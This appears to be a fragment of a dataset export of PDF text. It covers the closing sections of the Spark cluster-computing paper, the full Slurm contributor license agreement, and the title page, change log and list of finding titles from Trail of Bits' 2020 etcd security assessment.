ele-\\nments of the parent. Finally, in a CachedDataset , the\\ngetIterator method looks for a locally cached copy of a\\ntransformed partition, and each partition’s preferred loca-\\ntions start out equal to the parent’s preferred locations, but\\nget updated after the partition is cached on some node to\\nprefer reusing that node. This design makes faults easy to\\nhandle: if a node fails, its partitions are re-read from their\\nparent datasets and eventually cached on other nodes.\\nFinally, shipping tasks to workers requires shipping\\nclosures to them—both the closures used to define a dis-\\ntributed dataset, and closures passed to operations such as\\nreduce . To achieve this, we rely on the fact that Scala clo-\\nsures are Java objects and can be serialized using Java se-\\nrialization; this is a feature of Scala that makes it relatively\\nstraightforward to send a computation to another machine.\\nScala’s built-in closure implementation is not ideal, how-\\never, because we have found cases where a closure object\\nreferences variables in the closure’s outer scope that are\\nnot actually used in its body. We have filed a bug report\\nabout this, but in the meantime, we have solved the issue\\nby performing a static analysis of closure classes’ byte-\\ncode to detect these unused variables and set the corre-\\nsponding fields in the closure object to null . We omit\\nthe details of this analysis due to lack of space.\\nShared Variables: The two types of shared variables in\\nSpark, broadcast variables and accumulators, are imple-\\nmented using classes with custom serialization formats.\\nWhen one creates a broadcast variable bwith a value v,\\nvis saved to a file in a shared file system. The serialized\\nform of bis a path to this file. When b’s value is queried\\n4on a worker node, Spark first checks whether vis in a\\nlocal cache, and reads it from the file system if it isn’t.\\nWe initially used HDFS to broadcast variables, but we are\\ndeveloping a more efficient streaming broadcast system.\\nAccumulators are implemented using a different “se-\\nrialization trick.” Each accumulator is given a unique ID\\nwhen it is created. When the accumulator is saved, its\\nserialized form contains its ID and the “zero” value for\\nits type. On the workers, a separate copy of the accu-\\nmulator is created for each thread that runs a task using\\nthread-local variables, and is reset to zero when a task be-\\ngins. After each task runs, the worker sends a message to\\nthe driver program containing the updates it made to var-\\nious accumulators. The driver applies updates from each\\npartition of each operation only once to prevent double-\\ncounting when tasks are re-executed due to failures.\\nInterpreter Integration: Due to lack of space, we only\\nsketch how we have integrated Spark into the Scala inter-\\npreter. The Scala interpreter normally operates by com-\\npiling a class for each line typed by the user. This class\\nincludes a singleton object that contains the variables or\\nfunctions on that line and runs the line’s code in its con-\\nstructor. For example, if the user types var x = 5 fol-\\nlowed by println(x) , the interpreter defines a class (say\\nLine1 ) containing xand causes the second line to com-\\npile to println(Line1.getInstance().x) . These\\nclasses are loaded into the JVM to run each line. To make\\nthe interpreter work with Spark, we made two changes:\\n1. We made the interpreter output the classes it defines\\nto a shared filesystem, from which they can be loaded\\nby the workers using a custom Java class loader.\\n2. We changed the generated code so that the singleton\\nobject for each line references the singleton objects\\nfor previous lines directly, rather than going through\\nthe static getInstance methods. This allows clo-\\nsures to capture the current state of the singletons they\\nreference whenever they are serialized to be sent to a\\nworker. If we had not done this, then updates to the\\nsingleton objects (e.g., a line setting x = 7 in the ex-\\nample above) would not propagate to the workers.\\n5 Results\\nAlthough our implementation of Spark is still at an early\\nstage, we relate the results of three experiments that show\\nits promise as a cluster computing framework.\\nLogistic Regression: We compared the performance of\\nthe logistic regression job in Section 3.2 to an implemen-\\ntation of logistic regression for Hadoop, using a 29 GB\\ndataset on 20 “m1.xlarge” EC2 nodes with 4 cores each.\\nThe results are shown in Figure 2. With Hadoop, each\\niteration takes 127s, because it runs as an independent\\nMapReduce job. With Spark, the first iteration takes 174s\\n(likely due to using Scala instead of Java), but subsequent\\n0 1000 2000 3000 4000 1 5 10 20 30 Running Time (s) Number of Iterations Hadoop Spark Figure 2: Logistic regression performance in Hadoop and Spark.\\niterations take only 6s, each because they reuse cached\\ndata. This allows the job to run up to 10x faster.\\nWe have also tried crashing a node while the job was\\nrunning. In the 10-iteration case, this slows the job down\\nby 50s (21%) on average. The data partitions on the\\nlost node are recomputed and cached in parallel on other\\nnodes, but the recovery time was rather high in the cur-\\nrent experiment because we used a high HDFS block size\\n(128 MB), so there were only 12 blocks per node and the\\nrecovery process could not utilize all cores in the cluster.\\nSmaller block sizes would yield faster recovery times.\\nAlternating Least Squares: We have implemented the\\nalternating least squares job in Section 3.3 to measure the\\nbenefit of broadcast variables for iterative jobs that copy\\na shared dataset to multiple nodes. We found that without\\nusing broadcast variables, the time to resend the ratings\\nmatrix Ron each iteration dominated the job’s running\\ntime. Furthermore, with a na ¨ıve implementation of broad-\\ncast (using HDFS or NFS), the broadcast time grew lin-\\nearly with the number of nodes, limiting the scalability of\\nthe job. We implemented an application-level multicast\\nsystem to mitigate this. However, even with fast broad-\\ncast, resending Ron each iteration is costly. Caching R\\nin memory on the workers using a broadcast variable im-\\nproved performance by 2.8x in an experiment with 5000\\nmovies and 15000 users on a 30-node EC2 cluster.\\nInteractive Spark: We used the Spark interpreter to\\nload a 39 GB dump of Wikipedia in memory across 15\\n“m1.xlarge” EC2 machines and query it interactively. The\\nfirst time the dataset is queried, it takes roughly 35 sec-\\nonds, comparable to running a Hadoop job on it. How-\\never, subsequent queries take only 0.5 to 1 seconds, even\\nif they scan all the data. This provides a qualitatively dif-\\nferent experience, comparable to working with local data.\\n6 Related Work\\nDistributed Shared Memory: Spark’s resilient dis-\\ntributed datasets can be viewed as an abstraction for dis-\\ntributed shared memory (DSM), which has been studied\\nextensively [20]. RDDs differ from DSM interfaces in\\ntwo ways. First, RDDs provide a much more restricted\\n5programming model, but one that lets datasets be rebuilt\\nefficiently if cluster nodes fail. While some DSM systems\\nachieve fault tolerance through checkpointing [18], Spark\\nreconstructs lost partitions of RDDs using lineage infor-\\nmation captured in the RDD objects. This means that only\\nthe lost partitions need to be recomputed, and that they\\ncan be recomputed in parallel on different nodes, without\\nrequiring the program to revert to a checkpoint. In addi-\\ntion, there is no overhead if no nodes fail. Second, RDDs\\npush computation to the data as in MapReduce [11], rather\\nthan letting arbitrary nodes access a global address space.\\nOther systems have also restricted the DSM program-\\nming model to improve performance, reliability and pro-\\ngrammability. Munin [8] lets programmers annotate vari-\\nables with the access pattern they will have so as to choose\\nan optimal consistency protocol for them. Linda [13] pro-\\nvides a tuple space programming model that may be im-\\nplemented in a fault-tolerant fashion. Thor [19] provides\\nan interface to persistent shared objects.\\nCluster Computing Frameworks: Spark’s parallel op-\\nerations fit into the MapReduce model [11]. However,\\nthey operate on RDDs that can persist across operations.\\nThe need to extend MapReduce to support iterative jobs\\nwas also recognized by Twister [6, 12], a MapReduce\\nframework that allows long-lived map tasks to keep static\\ndata in memory between jobs. However, Twister does not\\ncurrently implement fault tolerance. Spark’s abstraction\\nof resilient distributed datasets is both fault-tolerant and\\nmore general than iterative MapReduce. A Spark program\\ncan define multiple RDDs and alternate between running\\noperations on them, whereas a Twister program has only\\none map function and one reduce function. This also\\nmakes Spark useful for interactive data analysis, where\\na user can define several datasets and then query them.\\nSpark’s broadcast variables provide a similar facility to\\nHadoop’s distributed cache [2], which can disseminate a\\nfile to all nodes running a particular job. However, broad-\\ncast variables can be reused across parallel operations.\\nLanguage Integration: Spark’s language integration is\\nsimilar to that of DryadLINQ [25], which uses .NET’s\\nsupport for language integrated queries to capture an ex-\\npression tree defining a query and run it on a cluster.\\nUnlike DryadLINQ, Spark allows RDDs to persist in\\nmemory across parallel operations. In addition, Spark\\nenriches the language integration model by supporting\\nshared variables (broadcast variables and accumulators),\\nimplemented using classes with custom serialized forms.\\nWe were inspired to use Scala for language integration\\nby SMR [14], a Scala interface for Hadoop that uses clo-\\nsures to define map and reduce tasks. Our contributions\\nover SMR are shared variables and a more robust imple-\\nmentation of closure serialization (described in Section 4).\\nFinally, IPython [22] is a Python interpreter for scien-tists that lets users launch computations on a cluster using\\na fault-tolerant task queue interface or low-level message\\npassing interface. Spark provides a similar interactive in-\\nterface, but focuses on data-intensive computations.\\nLineage: Capturing lineage or provenance information\\nfor datasets has long been a research topic in the scien-\\ntific computing an database fields, for applications such\\nas explaining results, allowing them to be reproduced by\\nothers, and recomputing data if a bug is found in a work-\\nflow step or if a dataset is lost. We refer the reader to [7],\\n[23] and [9] for surveys of this work. Spark provides a re-\\nstricted parallel programming model where fine-grained\\nlineage is inexpensive to capture, so that this information\\ncan be used to recompute lost dataset elements.\\n7 Discussion and Future Work\\nSpark provides three simple data abstractions for pro-\\ngramming clusters: resilient distributed datasets (RDDs),\\nand two restricted types of shared variables: broadcast\\nvariables and accumulators. While these abstractions are\\nlimited, we have found that they are powerful enough to\\nexpress several applications that pose challenges for exist-\\ning cluster computing frameworks, including iterative and\\ninteractive computations. Furthermore, we believe that\\nthe core idea behind RDDs, of a dataset handle that has\\nenough information to (re)construct the dataset from data\\navailable in reliable storage, may prove useful in develop-\\ning other abstractions for programming clusters.\\nIn future work, we plan to focus on four areas:\\n1. Formally characterize the properties of RDDs and\\nSpark’s other abstractions, and their suitability for var-\\nious classes of applications and workloads.\\n2. Enhance the RDD abstraction to allow programmers\\nto trade between storage cost and re-construction cost.\\n3. Define new operations to transform RDDs, including\\na “shuffle” operation that repartitions an RDD by a\\ngiven key. Such an operation would allow us to im-\\nplement group-bys and joins.\\n4. Provide higher-level interactive interfaces on top of\\nthe Spark interpreter, such as SQL and R [4] shells.\\n8 Acknowledgements\\nWe thank Ali Ghodsi for his feedback on this paper. This\\nresearch was supported by California MICRO, Califor-\\nnia Discovery, the Natural Sciences and Engineering Re-\\nsearch Council of Canada, as well as the following Berke-\\nley RAD Lab sponsors: Sun Microsystems, Google, Mi-\\ncrosoft, Amazon, Cisco, Cloudera, eBay, Facebook, Fu-\\njitsu, HP, Intel, NetApp, SAP, VMware, and Yahoo!.\\nReferences\\n[1] Apache Hive. http://hadoop.apache.org/hive.\\n6[2] Hadoop Map/Reduce tutorial. http://hadoop.apache.org/\\ncommon/docs/r0.20.0/mapred tutorial.html.\\n[3] Logistic regression – Wikipedia.\\nhttp://en.wikipedia.org/wiki/Logistic regression.\\n[4] The R project for statistical computing.\\nhttp://www.r-project.org.\\n[5] Scala programming language. http://www.scala-lang.org.\\n[6] Twister: Iterative MapReduce.\\nhttp://iterativemapreduce.org.\\n[7] R. Bose and J. Frew. Lineage retrieval for scientific data\\nprocessing: a survey. ACM Computing Surveys , 37:1–28,\\n2005.\\n[8] J. B. Carter, J. K. Bennett, and W. Zwaenepoel.\\nImplementation and performance of Munin. In SOSP ’91 .\\nACM, 1991.\\n[9] J. Cheney, L. Chiticariu, and W.-C. Tan. Provenance in\\ndatabases: Why, how, and where. Foundations and Trends\\nin Databases , 1(4):379–474, 2009.\\n[10] C. T. Chu, S. K. Kim, Y . A. Lin, Y . Yu, G. R. Bradski,\\nA. Y . Ng, and K. Olukotun. Map-reduce for machine\\nlearning on multicore. In NIPS ’06 , pages 281–288. MIT\\nPress, 2006.\\n[11] J. Dean and S. Ghemawat. MapReduce: Simplified data\\nprocessing on large clusters. Commun. ACM ,\\n51(1):107–113, 2008.\\n[12] J. Ekanayake, S. Pallickara, and G. Fox. MapReduce for\\ndata intensive scientific analyses. In ESCIENCE ’08 ,\\npages 277–284, Washington, DC, USA, 2008. IEEE\\nComputer Society.\\n[13] D. Gelernter. Generative communication in linda. ACM\\nTrans. Program. Lang. Syst. , 7(1):80–112, 1985.\\n[14] D. Hall. A scalable language, and a scalable framework.\\nhttp://www.scala-blogs.org/2008/09/scalable-language-\\nand-scalable.html.\\n[15] B. Hindman, A. Konwinski, M. Zaharia, A. Ghodsi, A. D.\\nJoseph, R. H. Katz, S. Shenker, and I. Stoica. Mesos: A\\nplatform for fine-grained resource sharing in the data\\ncenter. Technical Report UCB/EECS-2010-87, EECS\\nDepartment, University of California, Berkeley, May\\n2010.\\n[16] B. Hindman, A. Konwinski, M. Zaharia, and I. Stoica. A\\ncommon substrate for cluster computing. In Workshop on\\nHot Topics in Cloud Computing (HotCloud) 2009 , 2009.\\n[17] M. Isard, M. Budiu, Y . Yu, A. Birrell, and D. Fetterly.\\nDryad: Distributed data-parallel programs from sequential\\nbuilding blocks. In EuroSys 2007 , pages 59–72, 2007.\\n[18] A.-M. Kermarrec, G. Cabillic, A. Gefflaut, C. Morin, and\\nI. Puaut. A recoverable distributed shared memory\\nintegrating coherence and recoverability. In FTCS ’95 .\\nIEEE Computer Society, 1995.\\n[19] B. Liskov, A. Adya, M. Castro, S. Ghemawat, R. Gruber,\\nU. Maheshwari, A. C. Myers, M. Day, and L. Shrira. Safe\\nand efficient sharing of persistent objects in thor. In\\nSIGMOD ’96 , pages 318–329. ACM, 1996.\\n[20] B. Nitzberg and V . Lo. Distributed shared memory: a\\nsurvey of issues and algorithms. Computer , 24(8):52 –60,\\naug 1991.\\n[21] C. Olston, B. Reed, U. Srivastava, R. Kumar, and\\nA. Tomkins. Pig latin: a not-so-foreign language for dataprocessing. In SIGMOD ’08 . ACM, 2008.\\n[22] F. P ´erez and B. E. Granger. IPython: a system for\\ninteractive scientific computing. Comput. Sci. Eng. ,\\n9(3):21–29, May 2007.\\n[23] Y . L. Simmhan, B. Plale, and D. Gannon. A survey of\\ndata provenance in e-science. SIGMOD Rec. ,\\n34(3):31–36, 2005.\\n[24] H.-c. Yang, A. Dasdan, R.-L. Hsiao, and D. S. Parker.\\nMap-reduce-merge: simplified relational data processing\\non large clusters. In SIGMOD ’07 , pages 1029–1040.\\nACM, 2007.\\n[25] Y . Yu, M. Isard, D. Fetterly, M. Budiu, ´U. Erlingsson,\\nP. K. Gunda, and J. Currey. DryadLINQ: A system for\\ngeneral-purpose distributed data-parallel computing using\\na high-level language. In OSDI ’08 , San Diego, CA, 2008.\\n[26] M. Zaharia, D. Borthakur, J. Sen Sarma, K. Elmeleegy,\\nS. Shenker, and I. Stoica. Delay scheduling: A simple\\ntechnique for achieving locality and fairness in cluster\\nscheduling. In EuroSys 2010 , April 2010.\\n[27] Y . Zhou, D. Wilkinson, R. Schreiber, and R. Pan.\\nLarge-scale parallel collaborative filtering for the Netflix\\nprize. In AAIM ’08 , pages 337–348, Berlin, Heidelberg,\\n2008. Springer-Verlag.\\n7\"\n }\n]"}}},{"rowIdx":39467,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"Slurm_Individual.pdf\",\n \"project_name\": \"Slurm\",\n \"subcategory\": \"Scheduling & Orchestration\"\n}"},"content":{"kind":"list like","value":[{"data":"Slurm Workload Manager Individual Contributor License Agreement\nThank you for your interest in contributing to Slurm Workload Manager (\"We\" or \"Us\").\nThis contributor agreement (\"Agreement\") documents the rights granted by contributors to Us. To\nmake this document effective, please sign it and send it to Us by email, following the instructions at\nhttp://www.schedmd.com/slurmdocs/contributor.html. This is a legally binding document, so please\nread it carefully before agreeing to it. The Agreement may cover more than one software project\nmanaged by Us.\n1. Definitions\n\"You\" means the individual who Submits a Contribution to Us.\n\"Contribution\" means any work of authorship that is Submitted by You to Us in which You own\nor assert ownership of the Copyright. If You do not own the Copyright in the entire work of\nauthorship, please follow the instructions in\nhttp://www.schedmd.com/slurmdocs/contributor.html.\n\"Copyright\" means all rights protecting works of authorship owned or controlled by You,\nincluding copyright, moral and neighboring rights, as appropriate, for the full term of their\nexistence including any extensions by You.\n\"Material\" means the work of authorship which is made available by Us to third parties. When\nthis Agreement covers more than one software project, the Material means the work of authorship\nto which the Contribution was Submitted. After You Submit the Contribution, it may be included\nin the Material.\n\"Submit\" means any form of electronic, verbal, or written communication sent to Us or our\nrepresentatives, including but not limited to electronic mailing lists, source code control systems,\nand issue tracking systems that are managed by, or on behalf of, Us for the purpose of discussing\nand improving the Material, but excluding communication that is conspicuously marked or\notherwise designated in writing by You as \"Not a Contribution.\"\n\"Submission Date\" means the date on which You Submit a Contribution to Us.\n\"Effective Date\" means the date You execute this Agreement or the date You first Submit a\nContribution to Us, whichever is earlier.\n\"Media\" means any portion of a Contribution which is not software.\n2. Grant of Rights\n2.1 Copyright License\n(a) You retain ownership of the Copyright in Your Contribution and have the same rights to use or\nlicense the Contribution which You would have had without entering into the Agreement.\n(b) To the maximum extent permitted by the relevant law, You grant to Us a perpetual, worldwide,\nnon-exclusive, transferable, royalty-free, irrevocable license under the Copyright covering the\nContribution, with the right to sublicense such rights through multiple tiers of sublicensees, to\nreproduce, modify, display, perform and distribute the Contribution as part of the Material; provided\nthat this license is conditioned upon compliance with Section 2.3.\n1 of 3\nHarmony (HA-CLA-I) Version 1.02.2 Patent License\nFor patent claims including, without limitation, method, process, and apparatus claims which You\nown, control or have the right to grant, now or in the future, You grant to Us a perpetual, worldwide,\nnon-exclusive, transferable, royalty-free, irrevocable patent license, with the right to sublicense these\nrights to multiple tiers of sublicensees, to make, have made, use, sell, offer for sale, import and\notherwise transfer the Contribution and the Contribution in combination with the Material (and\nportions of such combination). This license is granted only to the extent that the exercise of the\nlicensed rights infringes such patent claims; and provided that this license is conditioned upon\ncompliance with Section 2.3.\n2.3 Outbound License\nAs a condition on the grant of rights in Sections 2.1 and 2.2, We agree to license the Contribution only\nunder the terms of the license or licenses which We are using on the Submission Date for the Material\n(including any rights to adopt any future version of a license if permitted).\nIn addition, We may use the following licenses for Media in the Contribution: (including any right to\nadopt any future version of a license if permitted).\n2.4 Moral Rights. If moral rights apply to the Contribution, to the maximum extent permitted by law,\nYou waive and agree not to assert such moral rights against Us or our successors in interest, or any of\nour licensees, either direct or indirect.\n2.5 Our Rights. You acknowledge that We are not obligated to use Your Contribution as part of the\nMaterial and may decide to include any Contribution We consider appropriate.\n2.6 Reservation of Rights. Any rights not expressly assigned or licensed under this section are\nexpressly reserved by You.\n3. Agreement\nYou confirm that:\n(a) You have the legal authority to enter into this Agreement.\n(b) You own the Copyright and patent claims covering the Contribution which are required to grant\nthe rights under Section 2.\n(c) The grant of rights under Section 2 does not violate any grant of rights which You have made to\nthird parties, including Your employer. If You are an employee, You have had Your employer approve\nthis Agreement or sign the Entity version of this document. If You are less than eighteen years old,\nplease have Your parents or guardian sign the Agreement.\n(d) You have followed the instructions in http://www.schedmd.com/slurmdocs/contributor.html, if You\ndo not own the Copyright in the entire work of authorship Submitted.\n4. Disclaimer\nEXCEPT FOR THE EXPRESS WARRANTIES IN SECTION 3, THE CONTRIBUTION IS\nPROVIDED \"AS IS\". MORE PARTICULARLY, ALL EXPRESS OR IMPLIED WARRANTIES\nINCLUDING, WITHOUT LIMITATION, ANY IMPLIED WARRANTY OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE EXPRESSLY\nDISCLAIMED BY YOU TO US AND BY US TO YOU. TO THE EXTENT THAT ANY SUCH\n2 of 3\nHarmony (HA-CLA-I) Version 1.0WARRANTIES CANNOT BE DISCLAIMED, SUCH WARRANTY IS LIMITED IN DURATION \nTO THE MINIMUM PERIOD PERMITTED BY L AW.\n5. Consequential Damage Waiver\nTO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE L AW, IN NO EVENT WILL \nYOU OR US BE LIABLE FOR ANY LOSS OF PROFITS, LOSS OF ANTICI PATED SAVINGS, \nLOSS OF D ATA, INDIRECT, SPECIAL, INCIDENTAL, CONSEQUENTIAL AND EXEMPLA RY \nDAMAGES ARISING OUT OF THIS AGREEMENT REGARDLESS OF THE LEGAL OR \nEQUITABLE THEORY (CONTRAC T, TORT OR OTHERWISE) UPON WHICH THE CLAIM IS \nBASED.\n6. Miscellaneous\n6.1 This Agreement will be governed by and construed in accordance with the laws of Utah County, \nUtah, USA excluding its conflicts of law provisions. Under certain circumstances, the governing law \nin this section might be superseded by the United Nations Convention on Contracts for the \nInternational Sale of Goods (\"UN Convention\") and the parties intend to avoid the application of the \nUN Convention to this Agreement and, thus, exclude the application of the UN Convention in its \nentirety to this Agreement.\n6.2 This Agreement sets out the entire agreement between You and Us for Your Contributions to Us \nand overrides all other agreements or understandings.\n6.3 If You or We assign the rights or obligations received through this Agreement to a third part y, as a \ncondition of the assignment, that third party must agree in writing to abide by all the rights and \nobligations in the Agreement.\n6.4 The failure of either party to require performance by the other party of any provision of this \nAgreement in one situation shall not affect the right of a party to require such performance at any time \nin the future. A waiver of performance under a provision in one situation shall not be considered a \nwaiver of the performance of the provision in the future or a waiver of the provision in its entiret y.\n6.5 If any provision of this Agreement is found void and unenforceable, such provision will be \nreplaced to the extent possible with a provision that comes closest to the meaning of the original \nprovision and which is enforceable. The terms and conditions set forth in this Agreement shall apply \nnotwithstanding any failure of essential purpose of this Agreement or any limited remedy to the \nmaximum extent possible under la w.\nYou\n________________________\nName: __________________\nAddress: ________________\n________________________\nUs\n________________________\nName: __________________\nTitle: ___________________\nAddress: ________________\n________________________\n3 of 3\nHarmony (HA-CLA-I) Version 1.0"}],"string":"[\n {\n \"data\": \"Slurm Workload Manager Individual Contributor License Agreement\\nThank you for your interest in contributing to Slurm Workload Manager (\\\"We\\\" or \\\"Us\\\").\\nThis contributor agreement (\\\"Agreement\\\") documents the rights granted by contributors to Us. To\\nmake this document effective, please sign it and send it to Us by email, following the instructions at\\nhttp://www.schedmd.com/slurmdocs/contributor.html. This is a legally binding document, so please\\nread it carefully before agreeing to it. The Agreement may cover more than one software project\\nmanaged by Us.\\n1. Definitions\\n\\\"You\\\" means the individual who Submits a Contribution to Us.\\n\\\"Contribution\\\" means any work of authorship that is Submitted by You to Us in which You own\\nor assert ownership of the Copyright. If You do not own the Copyright in the entire work of\\nauthorship, please follow the instructions in\\nhttp://www.schedmd.com/slurmdocs/contributor.html.\\n\\\"Copyright\\\" means all rights protecting works of authorship owned or controlled by You,\\nincluding copyright, moral and neighboring rights, as appropriate, for the full term of their\\nexistence including any extensions by You.\\n\\\"Material\\\" means the work of authorship which is made available by Us to third parties. When\\nthis Agreement covers more than one software project, the Material means the work of authorship\\nto which the Contribution was Submitted. After You Submit the Contribution, it may be included\\nin the Material.\\n\\\"Submit\\\" means any form of electronic, verbal, or written communication sent to Us or our\\nrepresentatives, including but not limited to electronic mailing lists, source code control systems,\\nand issue tracking systems that are managed by, or on behalf of, Us for the purpose of discussing\\nand improving the Material, but excluding communication that is conspicuously marked or\\notherwise designated in writing by You as \\\"Not a Contribution.\\\"\\n\\\"Submission Date\\\" means the date on which You Submit a Contribution to Us.\\n\\\"Effective Date\\\" means the date You execute this Agreement or the date You first Submit a\\nContribution to Us, whichever is earlier.\\n\\\"Media\\\" means any portion of a Contribution which is not software.\\n2. Grant of Rights\\n2.1 Copyright License\\n(a) You retain ownership of the Copyright in Your Contribution and have the same rights to use or\\nlicense the Contribution which You would have had without entering into the Agreement.\\n(b) To the maximum extent permitted by the relevant law, You grant to Us a perpetual, worldwide,\\nnon-exclusive, transferable, royalty-free, irrevocable license under the Copyright covering the\\nContribution, with the right to sublicense such rights through multiple tiers of sublicensees, to\\nreproduce, modify, display, perform and distribute the Contribution as part of the Material; provided\\nthat this license is conditioned upon compliance with Section 2.3.\\n1 of 3\\nHarmony (HA-CLA-I) Version 1.02.2 Patent License\\nFor patent claims including, without limitation, method, process, and apparatus claims which You\\nown, control or have the right to grant, now or in the future, You grant to Us a perpetual, worldwide,\\nnon-exclusive, transferable, royalty-free, irrevocable patent license, with the right to sublicense these\\nrights to multiple tiers of sublicensees, to make, have made, use, sell, offer for sale, import and\\notherwise transfer the Contribution and the Contribution in combination with the Material (and\\nportions of such combination). This license is granted only to the extent that the exercise of the\\nlicensed rights infringes such patent claims; and provided that this license is conditioned upon\\ncompliance with Section 2.3.\\n2.3 Outbound License\\nAs a condition on the grant of rights in Sections 2.1 and 2.2, We agree to license the Contribution only\\nunder the terms of the license or licenses which We are using on the Submission Date for the Material\\n(including any rights to adopt any future version of a license if permitted).\\nIn addition, We may use the following licenses for Media in the Contribution: (including any right to\\nadopt any future version of a license if permitted).\\n2.4 Moral Rights. If moral rights apply to the Contribution, to the maximum extent permitted by law,\\nYou waive and agree not to assert such moral rights against Us or our successors in interest, or any of\\nour licensees, either direct or indirect.\\n2.5 Our Rights. You acknowledge that We are not obligated to use Your Contribution as part of the\\nMaterial and may decide to include any Contribution We consider appropriate.\\n2.6 Reservation of Rights. Any rights not expressly assigned or licensed under this section are\\nexpressly reserved by You.\\n3. Agreement\\nYou confirm that:\\n(a) You have the legal authority to enter into this Agreement.\\n(b) You own the Copyright and patent claims covering the Contribution which are required to grant\\nthe rights under Section 2.\\n(c) The grant of rights under Section 2 does not violate any grant of rights which You have made to\\nthird parties, including Your employer. If You are an employee, You have had Your employer approve\\nthis Agreement or sign the Entity version of this document. If You are less than eighteen years old,\\nplease have Your parents or guardian sign the Agreement.\\n(d) You have followed the instructions in http://www.schedmd.com/slurmdocs/contributor.html, if You\\ndo not own the Copyright in the entire work of authorship Submitted.\\n4. Disclaimer\\nEXCEPT FOR THE EXPRESS WARRANTIES IN SECTION 3, THE CONTRIBUTION IS\\nPROVIDED \\\"AS IS\\\". MORE PARTICULARLY, ALL EXPRESS OR IMPLIED WARRANTIES\\nINCLUDING, WITHOUT LIMITATION, ANY IMPLIED WARRANTY OF MERCHANTABILITY,\\nFITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE EXPRESSLY\\nDISCLAIMED BY YOU TO US AND BY US TO YOU. TO THE EXTENT THAT ANY SUCH\\n2 of 3\\nHarmony (HA-CLA-I) Version 1.0WARRANTIES CANNOT BE DISCLAIMED, SUCH WARRANTY IS LIMITED IN DURATION \\nTO THE MINIMUM PERIOD PERMITTED BY L AW.\\n5. Consequential Damage Waiver\\nTO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE L AW, IN NO EVENT WILL \\nYOU OR US BE LIABLE FOR ANY LOSS OF PROFITS, LOSS OF ANTICI PATED SAVINGS, \\nLOSS OF D ATA, INDIRECT, SPECIAL, INCIDENTAL, CONSEQUENTIAL AND EXEMPLA RY \\nDAMAGES ARISING OUT OF THIS AGREEMENT REGARDLESS OF THE LEGAL OR \\nEQUITABLE THEORY (CONTRAC T, TORT OR OTHERWISE) UPON WHICH THE CLAIM IS \\nBASED.\\n6. Miscellaneous\\n6.1 This Agreement will be governed by and construed in accordance with the laws of Utah County, \\nUtah, USA excluding its conflicts of law provisions. Under certain circumstances, the governing law \\nin this section might be superseded by the United Nations Convention on Contracts for the \\nInternational Sale of Goods (\\\"UN Convention\\\") and the parties intend to avoid the application of the \\nUN Convention to this Agreement and, thus, exclude the application of the UN Convention in its \\nentirety to this Agreement.\\n6.2 This Agreement sets out the entire agreement between You and Us for Your Contributions to Us \\nand overrides all other agreements or understandings.\\n6.3 If You or We assign the rights or obligations received through this Agreement to a third part y, as a \\ncondition of the assignment, that third party must agree in writing to abide by all the rights and \\nobligations in the Agreement.\\n6.4 The failure of either party to require performance by the other party of any provision of this \\nAgreement in one situation shall not affect the right of a party to require such performance at any time \\nin the future. A waiver of performance under a provision in one situation shall not be considered a \\nwaiver of the performance of the provision in the future or a waiver of the provision in its entiret y.\\n6.5 If any provision of this Agreement is found void and unenforceable, such provision will be \\nreplaced to the extent possible with a provision that comes closest to the meaning of the original \\nprovision and which is enforceable. The terms and conditions set forth in this Agreement shall apply \\nnotwithstanding any failure of essential purpose of this Agreement or any limited remedy to the \\nmaximum extent possible under la w.\\nYou\\n________________________\\nName: __________________\\nAddress: ________________\\n________________________\\nUs\\n________________________\\nName: __________________\\nTitle: ___________________\\nAddress: ________________\\n________________________\\n3 of 3\\nHarmony (HA-CLA-I) Version 1.0\"\n }\n]"}}},{"rowIdx":39468,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"SECURITY_AUDIT.pdf\",\n \"project_name\": \"etcd\",\n \"subcategory\": \"Coordination & Service Discovery\"\n}"},"content":{"kind":"list like","value":[{"data":" \ne t c d\n \nS e c u r i t y A s s e s s m e n t\n \nFebruary 7, 2020\n \n \nPrepared For:\n \n \nXiang Li | \netcd\n \n \nxiangli.cs@gmail.com\n \n \n \nChris Aniszczyk | \nLinux Foundation\n \n \ncaniszczyk@linuxfoundation.org\n \n \n \nPrepared By:\n \n \nRobert Tonic | \nTrail of Bits\n \nrobert.tonic@trailofbits.com\n \n \n \nDominik Czarnota | \nTrail of Bits\n \ndominik.czarnota@trailofbits.com\n \n \n \nSai Vegasena | \nTrail of Bits\n \nsai.vegasena@trailofbits.com\n \n \n \nKristin Mayo | \nTrail of Bits\n \nkristin.mayo@trailofbits.com\n \n \n \nChange Log:\n \nApril 14, 2020: Corrected typo in finding difficulties.\n \nMay 11, 2020: Corrected severity inconsistency.\n \nJuly 22, 2020: Added \nAppendix D: Gateway Finding Remediations\n.\n \nAugust 04, 2020: Updated executive summary to highlight Appendix D.\n \n \n \nExecutive Summary\n \nProject Dashboard\n \nEngagement Goals\n \nCoverage\n \nRecommendations Summary\n \nShort Term\n \nLong Term\n \nFindings Summary\n \n1. Gateway TLS endpoint validation only confirms TCP reachability\n \n2. The gateway can include itself as an endpoint, resulting in resource exhaustion\n \n3. Directories created via os.MkdirAll are not checked for permissions\n \n4. Gateway TLS authentication only applies to endpoints detected in DNS SRV records\n \n5. TOCTOU of gateway endpoint authentication\n \n6. An entry with large index causes panic in WAL.ReadAll method\n \n7. A large slice causes panic in decodeRecord method\n \n8. No minimum password length\n \n9. Inaccurate logging of authentication attempts for users with CN-based auth only\n \n10. The “Total number of db keys compacted” metric is never changed\n \n11. Auto compaction retention can be set to negative value causing a compaction loop\n \nor a crash\n \n12. User credentials are stored in WAL logs in plaintext\n \n13. Null pointer exception when calling wal.ReadAll after wal.Create\n \n14. Submitting a -1 for cluster node size results in an index out-of-bound panic during\n \nservice discovery\n \n15. Insecure ciphers are allowed by default\n \n16. etcd is insecure by default\n \n17. Use of TLS InsecureSkipVerify\n \nA. Vulnerability Classifications\n \nB. Code Quality Recommendations\n \nC. Fuzzing results\n \netcd wal package\n \nD. Gateway Finding Remediations\n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 1\n \n E x e c u t i v e S u m m a r y\n \nFrom January 21 through January 31, 2020, the Linux Foundation engaged Trail of Bits to\n \nreview the security of etcd. Trail of Bits 